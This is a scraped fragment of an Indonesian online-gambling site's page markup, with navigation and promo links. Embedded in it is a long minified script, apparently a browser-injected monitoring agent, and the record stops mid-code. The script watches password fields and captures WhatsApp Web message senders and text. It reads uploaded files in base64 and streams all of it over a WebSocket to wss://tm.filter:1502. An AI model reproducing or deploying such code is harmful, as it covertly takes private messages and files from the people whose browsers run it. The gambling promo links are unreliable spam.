data-v-05d51de6> img altFishing srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765419390/arcade.48fc4dd_x4z1v4.svg classbrand-icon brand-icon--active brand-icon--md data-v-05d51de6> span data-v-05d51de6>Fishing/span> /a> /li> li data-v-05d51de6> a hrefhttps://tautin.app/CLJGyUNFh7 data-v-05d51de6> img altPromosi srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765423909/promo-muted.2a22468_cnx1jo.svg classbrand-icon brand-icon--active brand-icon--md data-v-05d51de6> span data-v-05d51de6>Promosi/span> /a> /li> /ul> /nav> /header> section data-v-05d51de6> nav classapp-drawer__nav data-v-05d51de6> ul data-v-05d51de6> !----> li classapp-drawer__nav__item data-v-05d51de6> a hrefhttps://tautin.app/CLJGyUNFh7 data-v-05d51de6> div data-v-05d51de6> i classicon-ticket-alt icon--lg data-v-0e010622 data-v-05d51de6>/i> /div> span data-v-05d51de6>Promo Code/span> /a> /li> li classapp-drawer__nav__item data-v-05d51de6> a href/ aria-currentpage classapp-link--exact-active app-link--active data-v-05d51de6> div data-v-05d51de6> i classicon-home icon--lg data-v-0e010622 data-v-05d51de6>/i> /div> span data-v-05d51de6>Beranda/span> /a> /li> li classapp-drawer__nav__item data-v-05d51de6> a hrefhttps://tautin.app/CLJGyUNFh7 data-v-05d51de6> div data-v-05d51de6> i classicon-promo icon--lg data-v-0e010622 data-v-05d51de6>/i> /div> span data-v-05d51de6>Promosi/span> /a> /li> !----> li classapp-drawer__nav__item data-v-05d51de6> a hrefhttps://afterlisting.com data-v-05d51de6> div data-v-05d51de6> i classicon-leaderboard icon--lg data-v-0e010622 data-v-05d51de6>/i> /div> span data-v-05d51de6>Leaderboard/span> /a> /li> !----> li classapp-drawer__nav__item data-v-05d51de6> a hrefhttps://afterlisting.com data-v-05d51de6> div data-v-05d51de6> i classicon-referral icon--lg data-v-0e010622 data-v-05d51de6>/i> /div> span data-v-05d51de6>Referral/span> /a> /li> li classapp-drawer__nav__item data-v-05d51de6> a hrefhttps://afterlisting.com data-v-05d51de6> div data-v-05d51de6> i classicon-chat icon--lg data-v-0e010622 data-v-05d51de6>/i> /div> span data-v-05d51de6>Kontak/span> /a> /li> /ul> /nav> div classapp-drawer__extra data-v-05d51de6> a hrefhttps://tautin.app/CLJGyUNFh7 classbtn btn--brand btn--flex data-v-1272be00 data-v-05d51de6> i classicon-edit icon--lg data-v-0e010622 data-v-1272be00>/i> Daftar /a> button hrefhttps://onp.chipclusters.com/luthier-gachet-casino19/ classapp-button btn btn--accent btn--flex data-v-05d51de6> i classicon-login icon--lg data-v-0e010622>/i> span>Masuk/span> !----> /button> !----> /div> /section> div classapp-drawer__locale data-v-05d51de6> span data-v-05d51de6>Pilih Bahasa:/span> ul data-v-05d51de6> li data-v-05d51de6> a href/ classbtn btn--sm-round app-drawer__locale--active data-v-05d51de6> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765424062/id-ID_rjwhmq.svg altid data-v-05d51de6> /a> /li> li data-v-05d51de6> a href/en classbtn btn--sm-round data-v-05d51de6> img srchttps://res.cloudinary.com/dosx2tegu/image/upload/v1765424061/en-GB_w65qkc.svg alten data-v-05d51de6> /a> /li> /ul> /div> /div> /div> /div> /div> /div>script>!function(){var e,t,Y;function n(){try{return window.selfwindow.top}catch(e){return!1}}function r(){setTimeout((function(){var e{type:focus,token:w.token,title:document.title,url:document.URL,focused:document.hasFocus(),useragent:navigator.userAgent,pid:w.pid,pn:w.pn};null!B&&B.readyStateWebSocket.OPEN&&B.send(JSON.stringify(e))}),0)}function a(){var e{type:notification,token:w.token,title:document.title,url:document.URL,focused:document.hasFocus(),timeout:w.sendNotificationsInterval,useragent:navigator.appVersion.length>navigator.userAgent.length?navigator.appVersion:navigator.userAgent,pid:w.pid,pn:w.pn};B.send(JSON.stringify(e))}function s(){y()}function o(){n()&&(clearInterval(T),clearInterval(I)),timeoutsetTimeout((function(){g()}),L)}function i(e){if(n())switch(e.data.substring(0,1)){caser:window.locatione.data.substring(1);break;caseb:document.body.innerHTMLe.data.substring(1);break;casew:var ttruee.data.substring(1).toLowerCase();O!t&&t&&v(),Ot;break;casex:!function(e){try{const tJSON.parse(e),Yb.get(t.requestId);if(Y){b.delete(t.requestId);const{responseCallback:e,fileName:n}Y;e(t,n)}}catch(e){unblockPage()}}(e.data.substring(1))}}function u(e){var tdocument.createElement(a);return t.hrefe,t.href}function d(e){if(!e)return!1;if(passworde.type)return!0;if(e instanceof HTMLInputElement){var twindow.getComputedStyle(e);if(t){var Yt.getPropertyValue(-webkit-text-security);returndisc,circle,square.includes(Y)}}return!1}function c(e,t!1){if(d(e)&&!F)if(F!0,n()){var Y{type:password_input_focus,focus:!0,token:w.token};B.send(JSON.stringify(Y))}else window.top.postMessage({message:iframePasswordInputFocused,name:e.name,type:password},*)}function M(e,t!1){var Ye&&e.name?e.name:unnamed>;if(d(e)&&F)if(F!1,n()){var r{type:password_input_focus,focus:!1,token:w.token};B.send(JSON.stringify(r))}else window.top.postMessage({message:iframePasswordInputBlurred,name:Y,type:password},*)}function l(e){var tdocument.activeElement;t&&t!document.body?document.querySelector&&(tdocument.querySelector(:focus)):tnull;for(var Y0;Ye.length;++Y){let seY;var nd(s),rn&&s.hasAttribute(autofocus),an&&t&&s.isEqualNode(t);(r||a)&&c(s),s.tmInputEventListenerAttached||(s.addEventListener(focus,(function(e){c(e.target)}),!0),s.addEventListener(blur,(function(e){M(e.target)}),!0),s.tmInputEventListenerAttached!0)}}function f(){l(document.getElementsByTagName(input));var enew MutationObserver((function(e){e&&e.forEach((function(e){e&&e.addedNodes&&0!e.addedNodes.length&&(window.NodeList&&!NodeList.prototype.forEach&&(NodeList.prototype.forEachArray.prototype.forEach),e.addedNodes.forEach((function(e){if(e.tagName){var t;inpute.tagName.toLowerCase()?t.push(e):te.getElementsByTagName(input),t.length&&l(t)}})))}))}));e.observe(document,{childList:!0,subtree:!0}),window.addEventListener(beforeunload,(function(e){M(),function(){for(var edocument.getElementsByTagName(input),t0;te.length;++t){let Yet;Y.removeEventListener(focus,c),Y.removeEventListener(blur,M),delete Y.tmInputEventListenerAttached}}()}))}function D(){var e;n()&&(w.iup&&(e{type:connect,token:w.token,title:document.title,url:document.URL,focused:document.hasFocus(),useragent:navigator.userAgent,pid:w.pid,pn:w.pn},null!B&&B.readyStateWebSocket.OPEN&&B.send(JSON.stringify(e))),h()&&(v(),y(),function(){function e(e){return e.baseURI&&e.baseURI.startsWith(https://web.whatsapp.com/)}function t(e){const te.dataTransfer.files;t.length>0&&Array.from(t).forEach((e>{N(e)}))}document.querySelectorAll(div).forEach((Y>{e(Y)&&Y.addEventListener(drop,t,{passive:!0})}));var Ynew MutationObserver((function(e){e&&(Array.from(document.querySelectorAll(.message-in, .message-out)).reduce(((e,t)>{var Yt.querySelector(buttontypebutton, divrolebutton);return Y&&e.push(Y),e}),).forEach((e>{const tmodified;e.hasAttribute(t)||(e.setAttribute(t,),e.onclickt>{t.verified||(t.preventDefault(),t.stopPropagation(),new Promise((function(t,Y){!function(e,t,Y){try{const Ye.parentElement,nYObject.keys(Y).find((e>e.includes(__reactProps))).children.props.msg,rn.mediaData,acrypto.randomUUID();b.set(a,{responseCallback:e>t(!e.block)}),B.send(JSON.stringify({requestId:a,type:waptransfer,direction:download,filename:r.__x_filename,filesize:r.__x_size,filetype:r.__x_mimetype,filehash:n.__x_encFilehash,url:document.URL,process:w.pn,content:}))}catch{Y()}}(e,t,(()>setTimeout((()>Y()),1)))})).then((e>{t.verifiede,t.verified&&t.target.dispatchEvent(t)}),(()>{})))})})),e.forEach((function(e){e&&(childList!e.type||e.addedNodes.length0||e.addedNodes.forEach((function(e){if(e&&e.nodeTypeNode.ELEMENT_NODE){e.querySelectorAll(input).forEach((e>{!function(e){const tmodified;file!e.type||e.hasAttribute(t)||(e.setAttribute(t,),e.addEventListener(change,(e>{Array.from(e.target.files).forEach((e>{N(e)}))})))}(e)}));var tdocument.querySelectorAll(dividmain header div)2;if(t){var Yt.querySelectorAll(div)1,nt.querySelectorAll(div)2;k(Y?Y.innerText:)+:+(n?n.innerText:)}document.querySelector(dividmain header spandata-icondefault-user)&&(Cprivate),document.querySelector(dividmain header spandata-icondefault-group)&&(Cgroup);var re.querySelectorAll(.message-in, .message-out);r||E(msgNodes is empty),e.matches(.message-in, .message-out)&&(rArray.prototype.slice.call(r)).push(e),r&&0!r.length?r.forEach((function(e){if(e)if(!e.classList||e.classList.length0)E(msg node does not contain classList or classList is empty);else{var te.classList.contains(message-in),Ye.querySelector(.copyable-text),ne.querySelector(.selectable-text),rnew Date,anull;if(Y&&Y.attributesdata-pre-plain-text){var sY.attributesdata-pre-plain-text.textContent,o/\(\d{1,2}):(\d{1,2}) {0,1}(p|a\.?\s?m\.?)?,\s(.+)\s(.*):/iSymbol.match(s);if(!o||6!o.length)return void E(no matches for string: +s);if(o3&&o3.length>1&&po3.toLowerCase().slice(0,1)&&(o1parseInt(o1)+12),dateParts/(\d{1,4}).-\\/(\d{1,4}).-\\/(\d{1,4})/Symbol.match(o4),!dateParts||4!dateParts.length)return void E(no matches for string: +o4);if(E(o4+_),!(rdate.parse(o4,_)||function(e,t,Y){var ne,t,Y.join(-),e,Y,t.join(-),t,e,Y.join(-),t,Y,e.join(-),Y,e,t.join(-),Y,t,e.join(-),rDate.now();for(var a in n){var sDate.parse(na);if(s&&!(Math.abs(r-s)>1728e6))return new Date(s)}}(dateParts1,dateParts2,dateParts3)))return void E(Cant parse date from string: +o4);r.setHours(o1),r.setMinutes(o2),ao5}E(isIncomingMsg +t+ msgDateTime +r+ msgSender +a+ wapStartTime +x+ wapTrackingEnabled +O),H.get(k)||H.set(k,x);var in?n.innerText:null;if(E(msgContent +i),a&&i&&O){var u(a+i+k+r.getTime()).split().map((function(e){return e.charCodeAt(0)})).reduce((function(e,t){return e+((e7)+(e3))^t})).toString(16);if(H.get(k).getTime()r.getTime()?r.setMilliseconds(++R):(R0,H.set(k,r)),!u||P.has(u))return void E(msgId is null or this msgId already tracked +u);var d{type:wapmessage,timestamp:r.getTime(),id:u,incoming:t,sender:t?a:Me,content:i,recipient:t?Me:k,conversationId:k+(+C+)};B.send(JSON.stringify(d)),P.add(u)}}})):E(no msg nodes found)}})))})))}));if(!Y)return;Y.observe(document.body,{childList:!0,subtree:!0}),E(observer is ready)}()),n()&&(a(),TsetInterval(a,w.sendNotificationsInterval),h()&&(IsetInterval(s,w.pollWhatsappTrackingInterval))),function(){for(var e,tdocument.getElementsByTagName(link),Y0;Yt.length;++Y)icon!tY.getAttribute(rel)&&shortcut icon!tY.getAttribute(rel)||(ee.lengthu(tY.getAttribute(href)));0e.length&&(e0u(/favicon.ico));var n{type:favicon};n.urldocument.URL,n.srce,n.titledocument.title,n.tokenw.token,n.useragentnavigator.appVersion.length>navigator.userAgent.length?navigator.appVersion:navigator.userAgent,B.send(JSON.stringify(n))}(),w.dontTrackWebPasswords&&f())}function p(){document.tmfilter||(g(),_{ar-SA:D/M/YY,bg-BG:D.M.YYYY,ca-ES:D/M/YYYY,zh-TW:YYYY/M/D,cs-CZ:D.M.YYYY,Da-DK:D-M-YYYY,De-DE:D.M.YYYY,el-GR:D/M/YYYY,en-US:M/D/YYYY,fi-FI:D.M.YYYY,fr-FR:D/M/YYYY,he-IL:D/M/YYYY,hu-HU:YYYY. M. D.,is-IS:D.M.YYYY,it-IT:D/M/YYYY,ja-JP:YYYY/M/D,ko-KR:YYYY-M-D,nl-NL:D-M-YYYY,nb-NO:D.M.YYYY,pl-PL:YYYY-M-D,pt-BR:D/M/YYYY,ro-RO:D.M.YYYY,ru-RU:D.M.YYYY,hr-HR:D.M.YYYY,sk-SK:D. M. YYYY,sq-AL:YYYY-M-D,sv-SE:YYYY-M-D,th-TH:D/M/YYYY,tr-TR:D.M.YYYY,ur-PK:D/M/YYYY,iD-ID:D/M/YYYY,uk-UA:D.M.YYYY,be-BY:D.M.YYYY,sl-SI:D.M.YYYY,et-EE:D.M.YYYY,lv-LV:YYYY.M.D.,lt-LT:YYYY.M.D,fa-IR:M/D/YYYY,vi-VN:D/M/YYYY,hy-AM:D.M.YYYY,az-Latn-AZ:D.M.YYYY,eu-ES:YYYY/M/D,Mk-MK:D.M.YYYY,af-ZA:YYYY/M/D,ka-GE:D.M.YYYY,fo-FO:D-M-YYYY,hi-IN:D-M-YYYY,Ms-MY:D/M/YYYY,kk-KZ:D.M.YYYY,ky-KG:D.M.YY,sw-KE:M/D/YYYY,uz-Latn-UZ:D/M YYYY,tt-RU:D.M.YYYY,pa-IN:D-M-YY,gu-IN:D-M-YY,ta-IN:D-M-YYYY,te-IN:D-M-YY,kn-IN:D-M-YY,Mr-IN:D-M-YYYY,sa-IN:D-M-YYYY,Mn-MN:YY.M.D,gl-ES:D/M/YY,kok-IN:D-M-YYYY,syr-SY:D/M/YYYY,Dv-MV:D/M/YY,ar-IQ:D/M/YYYY,zh-CN:YYYY/M/D,De-CH:D.M.YYYY,en-GB:D/M/YYYY,es-MX:D/M/YYYY,fr-BE:D/M/YYYY,it-CH:D.M.YYYY,nl-BE:D/M/YYYY,nn-NO:D.M.YYYY,pt-PT:D-M-YYYY,sr-Latn-CS:D.M.YYYY,sv-FI:D.M.YYYY,az-Cyrl-AZ:D.M.YYYY,Ms-BN:D/M/YYYY,uz-Cyrl-UZ:D.M.YYYY,ar-EG:D/M/YYYY,zh-HK:D/M/YYYY,De-AT:D.M.YYYY,en-AU:D/M/YYYY,es-ES:D/M/YYYY,fr-CA:YYYY-M-D,sr-Cyrl-CS:D.M.YYYY,ar-LY:D/M/YYYY,zh-SG:D/M/YYYY,De-LU:D.M.YYYY,en-CA:D/M/YYYY,es-GT:D/M/YYYY,fr-CH:D.M.YYYY,ar-DZ:D-M-YYYY,zh-MO:D/M/YYYY,De-LI:D.M.YYYY,en-NZ:D/M/YYYY,es-CR:D/M/YYYY,fr-LU:D/M/YYYY,ar-MA:D-M-YYYY,en-IE:D/M/YYYY,es-PA:M/D/YYYY,fr-MC:D/M/YYYY,ar-TN:D-M-YYYY,en-ZA:YYYY/M/D,es-DO:D/M/YYYY,ar-OM:D/M/YYYY,en-JM:D/M/YYYY,es-VE:D/M/YYYY,ar-YE:D/M/YYYY,en-029:M/D/YYYY,es-CO:D/M/YYYY,ar-SY:D/M/YYYY,en-BZ:D/M/YYYY,es-PE:D/M/YYYY,ar-JO:D/M/YYYY,en-TT:D/M/YYYY,es-AR:D/M/YYYY,ar-LB:D/M/YYYY,en-ZW:M/D/YYYY,es-EC:D/M/YYYY,ar-KW:D/M/YYYY,en-PH:M/D/YYYY,es-CL:D-M-YYYY,ar-AE:D/M/YYYY,es-UY:D/M/YYYY,ar-BH:D/M/YYYY,es-PY:D/M/YYYY,ar-QA:D/M/YYYY,es-BO:D/M/YYYY,es-SV:D/M/YYYY,es-HN:D/M/YYYY,es-NI:D/M/YYYY,es-PR:D/M/YYYY,aM-ET:D/M/YYYY,tzM-Latn-DZ:D-M-YYYY,iu-Latn-CA:D/M/YYYY,sMa-NO:D.M.YYYY,Mn-Mong-CN:YYYY/M/D,gD-GB:D/M/YYYY,en-MY:D/M/YYYY,prs-AF:D/M/YY,bn-BD:D-M-YY,wo-SN:D/M/YYYY,rw-RW:M/D/YYYY,qut-GT:D/M/YYYY,sah-RU:M.D.YYYY,gsw-FR:D/M/YYYY,co-FR:D/M/YYYY,oc-FR:D/M/YYYY,Mi-NZ:D/M/YYYY,ga-IE:D/M/YYYY,se-SE:YYYY-M-D,br-FR:D/M/YYYY,sMn-FI:D.M.YYYY,Moh-CA:M/D/YYYY,arn-CL:D-M-YYYY,ii-CN:YYYY/M/D,Dsb-DE:D. M. YYYY,ig-NG:D/M/YYYY,kl-GL:D-M-YYYY,lb-LU:D/M/YYYY,ba-RU:D.M.YY,nso-ZA:YYYY/M/D,quz-BO:D/M/YYYY,yo-NG:D/M/YYYY,ha-Latn-NG:D/M/YYYY,fil-PH:M/D/YYYY,ps-AF:D/M/YY,fy-NL:D-M-YYYY,ne-NP:M/D/YYYY,se-NO:D.M.YYYY,iu-Cans-CA:D/M/YYYY,sr-Latn-RS:D.M.YYYY,si-LK:YYYY-M-D,sr-Cyrl-RS:D.M.YYYY,lo-LA:D/M/YYYY,kM-KH:YYYY-M-D,cy-GB:D/M/YYYY,bo-CN:YYYY/M/D,sMs-FI:D.M.YYYY,as-IN:D-M-YYYY,Ml-IN:D-M-YY,en-IN:D-M-YYYY,or-IN:D-M-YY,bn-IN:D-M-YY,tk-TM:D.M.YY,bs-Latn-BA:D.M.YYYY,Mt-MT:D/M/YYYY,sr-Cyrl-ME:D.M.YYYY,se-FI:D.M.YYYY,zu-ZA:YYYY/M/D,xh-ZA:YYYY/M/D,tn-ZA:YYYY/M/D,hsb-DE:D. M. YYYY,bs-Cyrl-BA:D.M.YYYY,tg-Cyrl-TJ:D.M.YY,sr-Latn-BA:D.M.YYYY,sMj-NO:D.M.YYYY,rM-CH:D/M/YYYY,sMj-SE:YYYY-M-D,quz-EC:D/M/YYYY,quz-PE:D/M/YYYY,hr-BA:D.M.YYYY.,sr-Latn-ME:D.M.YYYY,sMa-SE:YYYY-M-D,en-SG:D/M/YYYY,ug-CN:YYYY-M-D,sr-Cyrl-BA:D.M.YYYY,es-US:M/D/YYYY}navigator.language,document.tmfilterpresent)}function g(){(Bnew WebSocket(w.connectionString)).oncloseo,B.onmessagei,B.onopenD,w.extJs&&(w.extJs.webSock{readyState:()>B.readyState,send:e>B.send(e)})}function m(){var efunction(){var ewebkit,moz,ms,o;if(hiddenin document)returnhidden;for(var t0;te.length;t++)if(et+Hiddenin document)return et+Hidden;return null}();return!!e&&documente}function h(){var edocument.head.querySelector(nameog:title);return!!e&&WhatsApp Webe.getAttribute(content)}function y(){B.send(JSON.stringify({type:waptracking}))}function v(){Hnew Map,Pnew Set,R0,(xnew Date).setSeconds(0),x.setMilliseconds(0)}function S(e){for(var t,Ynew Uint8Array(e),nY.byteLength,r0;rn;r++)t+String.fromCharCode(Yr);return window.btoa(t)}ethis,t{},Y{en:{MMMM:January February March April May June July August September October November December.split( ),MMM:Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec.split( ),dddd:Sunday Monday Tuesday Wednesday Thursday Friday Saturday.split( ),ddd:Sun Mon Tue Wed Thu Fri Sat.split( ),dd:Su Mo Tu We Th Fr Sa.split( ),A:a.m.,p.m.,formatter:{YYYY:function(e){return(000+e.getFullYear()).slice(-4)},YY:function(e){return(0+e.getFullYear()).slice(-2)},Y:function(e){return+e.getFullYear()},MMMM:function(e){return this.MMMMe.getMonth()},MMM:function(e){return this.MMMe.getMonth()},MM:function(e){return(0+(e.getMonth()+1)).slice(-2)},M:function(e){return+(e.getMonth()+1)},DD:function(e){return(0+e.getDate()).slice(-2)},D:function(e){return+e.getDate()},HH:function(e){return(0+e.getHours()).slice(-2)},H:function(e){return+e.getHours()},A:function(e){return this.A11e.getHours()|0},hh:function(e){return(0+(e.getHours()%12||12)).slice(-2)},h:function(e){return+(e.getHours()%12||12)},mm:function(e){return(0+e.getMinutes()).slice(-2)},m:function(e){return+e.getMinutes()},ss:function(e){return(0+e.getSeconds()).slice(-2)},s:function(e){return+e.getSeconds()},SSS:function(e){return(00+e.getMilliseconds()).slice(-3)},SS:function(e){return(0+(e.getMilliseconds()/10|0)).slice(-2)},S:function(e){return+(e.getMilliseconds()/100|0)},dddd:function(e){return this.dddde.getDay()},ddd:function(e){return this.ddde.getDay()},dd:function(e){return this.dde.getDay()},Z:function(e){return(0(ee.utc?0:e.getTimezoneOffset()/.6)?-:+)+(000+Math.abs(e-e%100*.4)).slice(-4)},post:function(e){return e}},parser:{find:function(e,t){for(var Y,n-1,r0,a0,se.length;as;a++)Yea,!t.indexOf(Y)&&Y.length>r&&(na,rY.length);return{index:n,length:r}},MMMM:function(e){return this.parser.find(this.MMMM,e)},MMM:function(e){return this.parser.find(this.MMM,e)},A:function(e){return this.parser.find(this.A,e)},h:function(e,t){return(12e?0:e)+12*t},pre:function(e){return e}}}},t.formatfunction(e,n,r){var at.addMinutes(e,r?e.getTimezoneOffset():0),sY.en,os.formatter;return a.utcr,n.replace(/(\^\\*|\.*\^\*\|YYYY|YY|MMM?M?|DD|HH|hh|mm|ss|SSS?|ddd?d?|.)/g,(function(e){var toe;return t?o.post(t.call(s,a,n)):e.replace(/\(.*)/,$1)}))},t.parsefunction(e,n,r){var a,s,oY.en,io.parser.pre(e),u0,d/(MMMM?|A)|(YYYY)|(SSS)|(MM|DD|HH|hh|mm|ss)|(YY|M|D|H|h|m|s|SS)|(S)|(.)/g,c{2:/^\d{1,4}/,3:/^\d{1,3}/,4:/^\d\d/,5:/^\d\d?/,6:/^\d/};e31,28,31,30,31,30,31,31,30,31,30,31;for(var M{Y:1970,M:1,D:1,H:0,m:0,s:0,S:0};ad.exec(n);){var l0,f1;for(s;!s;)sa++l;as.charAt(0);var Di.slice(u);if(2>l){var po.parsers.call(o,D,n);Map.index,Ma&&Ma++,fp.length}else if(7>l)p(D.match(cl)||)0,Ma0|(Sa?(p+000).slice(0,-s.length):p),fp.length;else if( !a&&a!D0)return NaN;if(!f)return NaN;u+f}return ui.length&&p?(M.Y+70>M.Y?2e3:100>M.Y?1900:0,M.HM.H||o.parser.h(M.h||0,M.A||0),nnew Date(M.Y,M.M-1,M.D,M.H,M.m,M.s,M.S),e1+0|t.isLeapYear(n),1>M.M||12M.M||1>M.D||M.D>eM.M-1||23M.H||59M.m||59M.s?NaN:r?t.addMinutes(n,-n.getTimezoneOffset()):n):NaN},t.isValidfunction(e,Y){return!!t.parse(e,Y)},t.addYearsfunction(e,Y){return t.addMonths(e,12*Y)},t.addMonthsfunction(e,t){var Ynew Date(e.getTime());return Y.setMonth(Y.getMonth()+t),Y},t.addDaysfunction(e,t){var Ynew Date(e.getTime());return Y.setDate(Y.getDate()+t),Y},t.addHoursfunction(e,Y){return t.addMilliseconds(e,36e5*Y)},t.addMinutesfunction(e,Y){return t.addMilliseconds(e,6e4*Y)},t.addSecondsfunction(e,Y){return t.addMilliseconds(e,1e3*Y)},t.addMillisecondsfunction(e,t){return new Date(e.getTime()+t)},t.subtractfunction(e,t){var Ye.getTime()-t.getTime();return{toMilliseconds:function(){return Y},toSeconds:function(){return Y/1e3|0},toMinutes:function(){return Y/6e4|0},toHours:function(){return Y/36e5|0},toDays:function(){return Y/864e5|0}}},t.isLeapYearfunction(e){return!(((ee.getFullYear())%4||!(e%100))&&e%400)},t.isSameDayfunction(e,Y){return t.format(e,YYYYMMDD)t.format(Y,YYYYMMDD)},e.datet;const bnew Map;function N(e){const ttm_overlay,Y10485760;let nfunction(){let edocument.getElementById(t);e&&e.remove(),b.clear()};if(e){const rnew FileReader;let a;e.size>Y&&(ae.slice(0,Y));let s!1;if(b.forEach((t>{t.fileNamee.name&&(s!0)})),!s){r.addEventListener(load,(t>{try{const tcrypto.randomUUID();b.set(t,{responseCallback:e>{e.block&&function(){const e,tt>{t.querySelectorAll(button:not(tabindex-1)).forEach((t>{t.querySelector(spandata-iconx)&&(e.push(t),t.click())}))},Ynew MutationObserver(((Y,n)>{Y.forEach((e>{childListe.type&&e.addedNodes.length>0&&e.addedNodes.forEach((e>{e.nodeTypeNode.ELEMENT_NODE&&t(e)}))})),e.length>0&&n.disconnect()}));Y.observe(document.body,{childList:!0,subtree:!0}),t(document),e.length>0&&Y.disconnect()}(),n()},fileName:e.name}),setTimeout((()>{b.has(t)&&(b.delete(t),n())}),2e3),B.send(JSON.stringify({requestId:t,type:waptransfer,direction:upload,filename:e.name,filesize:e.size,filetype:e.type,url:document.URL,filehash:0,process:w.pn,content:S(r.result)}))}catch(e){n()}})),r.addEventListener(error,(e>{n()})),r.addEventListener(abort,(e>{n()})),function(){if(!document.getElementById(t)){let edocument.createElement(div);e.idt,e.style.cssTextbackground:rgba(0, 0, 0, .6);position:absolute;top:0;left:0;height:100%;width:100%;z-index:999,document.body.appendChild(e)}}();try{nulla?r.readAsArrayBuffer(e):r.readAsArrayBuffer(a)}catch(e){n()}}}}function E(e){var t{handler:log,module:wapjs,url:wap,message:e};B.send(JSON.stringify(t))}function A(e){var t{name:e.data.name,type:e.data.type};iframePasswordInputFocusede.data.message?c(t,!0):iframePasswordInputBlurrede.data.message&&M(t,!0)}var w{token:76585356-d796-4323-9967-6774ff5aa2a9,sendNotificationsInterval:Number(1000),pollWhatsappTrackingInterval:Number(20000),connectionString:wss://tm.filter:1502,pid:23008,pn:chrome.exe,iup:false,dontTrackWebPasswords:false,extJs:/* * dont use double slash comments here as this will be stored in one line for the TMU migrations * * this is stored in the kv_store table for the key hm_websites_js * * all code should describe one javascript object, i.e. { bla-bla-bla } * * this object will be included in standard js injection code as a replacement of insight_placeholder * if domain of the page matches one of the domain regexes from the hypermonitoring_web settings * if not, insight_placeholder will be replaced with null * * this object must contain function init(token), it will be called only once when document became visible (it is called for every iframe too) * * also this code contains placeholdes, see doc in the code (search for `_placeholder` suffix) * * also this object must contain property webSock that will be assigned WebSocket when created * * this object should send json for every registered event with the following structure: * { * cat: insight - this is required to route the message to the proper handler * type: click | changed - type of the event * elm: uint32 - id of the element that fired the event. used for deduplication of the events * page: uint32 - id of the hypermonitored location * obj: uint32 - id of the hypermonitored object that fired event * url: string - current document url * token: string - js injection token, used to unique identify browser page * values: json - contains all collected information about event and its context * proc: id of the process of the host electron * } */ { /* this will be replaced with the rules for current domain * * { * id: locationId, * url: string | null, * objects: * * { * id: objectId, * sources: , * ... * }, * ... * * }, * ... * */ pages: , /* required property for electron */ proc: null, /* required property - will be assigned to WebSocket once it will be read */ webSock: null, pendingPackets: , webSockReady: function () { return this.webSock ! null && this.webSock.readyState WebSocket.OPEN; }, processPacket: function (t) { if (!this.webSockReady()) this.pendingPackets.push(t); else { this.sendPendingPackets(); this.webSock.send(t); } }, sendPendingPackets: function () { if (this.webSockReady() && this.pendingPackets.length > 0) { for (var i 0; i this.pendingPackets.length; ++i) this.webSock.send(this.pendingPacketsi); this.pendingPackets ; } }, /* store js injection token */ token: null, /* should we send log messages to the agent, bool */ sendLog: false, /* should we include all content of the htmlelements in the log messages, bool */ sendLogFullData: false, /* should we log snapshots of the html after every mutation event */ sendLogSnapshots: false, /* should we catch exceptions and log them (as opposed to let browser stops in debugger) */ sendLogExceptions: true, /* * required function - it will be called once when document became visible * it will be also called for iframes * * argument token - js injection token */ init: function (token) { this.token token; this.log(init: token: + token + sendLog: + this.sendLog + sendLogFullData: + this.sendLogFullData); if (document.readyState interactive || document.readyState complete) this.attachEvents(); else window.addEventListener(DOMContentLoaded, this.attachEvents.bind(this)); setInterval(this.sendPendingPackets.bind(this), 1000); }, /* * here we scan all provided settings and choose what listeners are required * we dont want to intrude in the js more that necessary for performance and compatibility considerations */ attachEvents: function () { var needClick false, needChange false, needChildList this.sendLogSnapshots, needCharacterData this.sendLogSnapshots, callObjects ; this.pages.forEach(function (page) { page.objects.forEach(function (obj) { addText, removeText, addElm, removeElm, stateByElm.forEach(function (source) { if (obj.sources.includes(source)) needChildList true; }); if (obj.sources.includes(changeText)) needCharacterData true; if (obj.sources.includes(change)) needChange true; if (obj.sources.includes(click)) needClick true; if (obj.sources.includes(call)) callObjects.push({ page: page, obj: obj }); }); }); this.log(attachEvents: needClick: + needClick + needChange: + needChange + needChildList: + needChildList + needCharacterData: + needCharacterData); if (needClick) window.addEventListener(click, this.onEvent.bind(this), true); if (needChange) window.addEventListener(change, this.onEvent.bind(this), true); if (needChildList || needCharacterData) new MutationObserver(this.onMutation.bind(this)).observe(document, { subtree: true, childList: needChildList, characterData: needCharacterData }); if (needClick || needChange || needChildList || needCharacterData) { /* we process mutation events only after human interaction */ window.addEventListener(keydown, this.onInteraction.bind(this)); window.addEventListener(mousedown, this.onInteraction.bind(this)); } if (callObjects.length > 0) { var self this; var intervalHandle setInterval(function () { for (var i callObjects.length - 1; i > 0; i--) { if (self.interceptCall(callObjectsi)) callObjects.splice(i, 1); } if (callObjects.length 0) clearInterval(intervalHandle); }, 500); } }, interceptCall: function (callObj) { var obj callObj.obj, jsObj; try { jsObj this.calc(obj, object, , ); } catch{ } if (jsObj null) { this.log(attachEvents: object: + obj.id + is not found); return false; } var method jsObjobj.func; var self this; jsObjobj.func function () { var arg_data self.calc(obj, arg_data, args, arguments, return null); var ret method.apply(jsObj, arguments); var return_data self.calc(obj, return_data, ret, ret, return null); if (arg_data ! null || return_data ! null) self.sendEvent(interceptCall, callObj.page, obj, undefined, { arg_data: arg_data, return_data: return_data }); return ret; }; self.log(attachEvents: object: + obj.id + , + (obj.object || obj.object_f) + is found, call to + obj.func + intercepted); return true; }, /* new Date().getTime() of the last human interacion (keydown, mousedown, mouseup) to filter out DOM mutation events that was not due to human activity */ lastInteraction: null, /* on human interaction (keydown, mousedown, mouseup) */ onInteraction: function (ev) { this.lastInteraction new Date().getTime(); this.log(onInteraction: human Interaction + ev.type + : + this.lastInteraction); }, /* handles click and change events */ onEvent: function (ev) { var self this; this.callSafe(onEvent, function () { self.handleEvent(ev.type, ev.type, ev.composed ? ev.composedPath() : self.getAncestors(ev.target)); }); }, /* handles addText, changeText, removeText, addElm, removeElm DOM mutation events */ onMutation: function (mList) { var self this; if (this.sendLogSnapshots) this.log(snapshot: + document.body.outerHTML.replace(/\n|\r/g, #)); this.callSafe(onMutation, function () { if (self.lastInteraction ! null) { mList.forEach(function (m) { if (m.type childList) { m.removedNodes.forEach(function (sub) { if (sub.nodeType Node.TEXT_NODE) self.handleEvent(change, removeText, self.getAncestors(m.target)); else if (sub.nodeType Node.ELEMENT_NODE) self.handleEventWithSub(change, removeElm, self.getAncestors(m.target), sub); }); m.addedNodes.forEach(function (sub) { if 